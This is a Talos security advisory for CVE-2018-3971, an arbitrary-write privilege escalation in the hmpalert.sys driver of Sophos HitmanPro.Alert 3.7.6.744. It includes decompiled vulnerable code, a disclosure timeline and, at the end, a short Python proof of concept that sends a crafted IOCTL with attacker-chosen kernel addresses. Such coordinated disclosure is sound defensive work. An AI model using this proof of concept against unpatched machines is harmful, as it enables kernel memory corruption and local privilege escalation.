Talos Vulnerability Report

TALOS-2018-0636

Sophos HitmanPro.Alert hmpalert 0x2222CC privilege escalation vulnerability

October 25, 2018
CVE Number

CVE-2018-3971

Summary

An exploitable arbitrary write vulnerability exists in the 0x2222CC IOCTL handler functionality of Sophos HitmanPro.Alert 3.7.6.744. A specially crafted IRP request can cause the driver to write data under controlled by an attacker address, resulting in memory corruption. An attacker can send IRP request to trigger this vulnerability.

Tested Versions

Sophos HitmanPro.Alert - hmpalert.sys 3.7.6.744 - Windows 7 x86

Product URLs

https://www.hitmanpro.com/en-us/alert.aspx

CVSSv3 Score

9.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-123: Write-what-where Condition

Details

This vulnerability can be triggered by sending IOCTL requests to the hmpalert device. Here we show the default access control on the device allows any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\hmpalert
\Device\hmpalert
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

An arbitrary write vulnerability exists in the IOCTL handler for control code 0x2222CC. The vulnerable code looks like this:

Line 1 	NTSTATUS __stdcall sub_975C1C00(PDEVICE_OBJECT deviceObject, PIRP Irp)
Line 2 	{
Line 3 	(...)
Line 4 	__controlCode -= 0x222244;
Line 5 	switch ( __controlCode )
Line 6 	{
Line 7 	  case 0x88u:
Line 8 		_SystemBuffer = (struct_v58 *)Irp->AssociatedIrp.SystemBuffer;
Line 9 		a4 = 0;
Line 10		v72 = sub_975CC520(_SystemBuffer->srcAddress, _SystemBuffer->dstAddress, _SystemBuffer->srcSize, (int)&a4);
Line 11		if ( v72 < 0 )
Line 12		{
Line 13		  Irp->IoStatus.Information = 0;
Line 14		}
Line 15		else
Line 16		{
Line 17		  v25 = &Irp->AssociatedIrp.MasterIrp->Type;
Line 18		  *v25 = a4;
Line 19		  Irp->IoStatus.Information = 4;
Line 20		}
Line 21		break;

Three parameters coming from user mode are passed to the sub_975CC520 function as an arguments. Let us take a closer look at sub_975CC520 function.

Line 1 	int __stdcall sub_975CC520(PVOID srcAddress, PVOID dstAddresss, int srcSize, int a4)
Line 2 	{
Line 3 	  char v5; // [esp+0h] [ebp-28h]
Line 4 	  PVOID Object; // [esp+18h] [ebp-10h]
Line 5 	  void *tempBuffer; // [esp+1Ch] [ebp-Ch]
Line 6 	  int v8; // [esp+20h] [ebp-8h]
Line 7 	  SIZE_T _srcBufferLen; // [esp+24h] [ebp-4h]
Line 8 
Line 9 	  if ( !protectedPID )
Line 10		return 0xC0000001;
Line 11	  _srcBufferLen = srcSize;
Line 12	  if ( !sub_975CC420((PBYTE)srcAddress, (int *)&_srcBufferLen) )
Line 13		return 0xC0000022;
Line 14	  tempBuffer = ExAllocatePoolWithTag(0, _srcBufferLen, 'APMH');
Line 15	  if ( !tempBuffer )
Line 16		return 0xC000009A;
Line 17	  Object = 0;
Line 18	  v8 = PsLookupProcessByProcessId(protectedPID, &Object);
Line 19	  if ( v8 >= 0 )
Line 20	  {
Line 21		KeStackAttachProcess(Object, &v5);
Line 22		if ( MmIsAddressValid(srcAddress) )
Line 23		  memcpy(tempBuffer, srcAddress, _srcBufferLen);
Line 24		else
Line 25		  v8 = 0xC0000141;
Line 26		KeUnstackDetachProcess(&v5);
Line 27		ObfDereferenceObject(Object);
Line 28	  }
Line 29	  if ( v8 >= 0 )
Line 30	  {
Line 31		if ( MmIsAddressValid(dstAddresss) )
Line 32		{
Line 33		  memcpy(dstAddresss, tempBuffer, _srcBufferLen);
Line 34		  *(_DWORD *)a4 = _srcBufferLen;
Line 35		}
Line 36		else
Line 37		{
Line 38		  v8 = 0xC0000141;
Line 39		}
Line 40	  }
Line 41	  ExFreePoolWithTag(tempBuffer, 0x41504D48u);
Line 42	  return v8;
Line 43	}

As we can see at line 12 some sort of checks are made related with srcAddress. Indeed, srcAddress is checked in context of whether it belongs to the one of “protected”/”monitored” lsass.exe address space regions.

Attacker can try to leak lsass process memory regions addresses using different vulnerability or just brute force them. Next, the read data is copied to tempBuffer at line 23.

Further at line 33, data from tempBuffer is copied into the address pointed to by the dstAddress argument which is fully controlled by the attacker. There are no size checks to ensure that the destination address has enough space for the copy operation.

This vulnerability leads to memory corruption and can be used by an attacker to gain arbitrary code execution and privilege escalation.

Exploit Proof of Concept

def leak_memory():
 fileName = u'\\\\.\\hmpalert'
 hFile = win32file.CreateFileW(fileName,
							  win32con.GENERIC_READ |win32con.GENERIC_WRITE,
							  0,
							  None,
							  win32con.OPEN_EXISTING, 0 , None, 0)

 ioctl = 0x222244 + 0x88
 inputBuffer =  struct.pack("<I",0x7FFD8000) #srcAddress
 inputBuffer += struct.pack("<I",0x80400000) #dstAddress	 
 inputBuffer += struct.pack("<I",0x24)		 #srcSize
 inputBufferLen = len(inputBuffer)
 outBufferLen   = 16
 print "Time to send IOCTL : 0x%x" % ioctl
  	 buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
	 
if __name__  == "__main__":
	leak_memory()

Timeline

2018-07-23 - Vendor Disclosure
2018-09-17 - Vendor Patched
2018-10-25 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.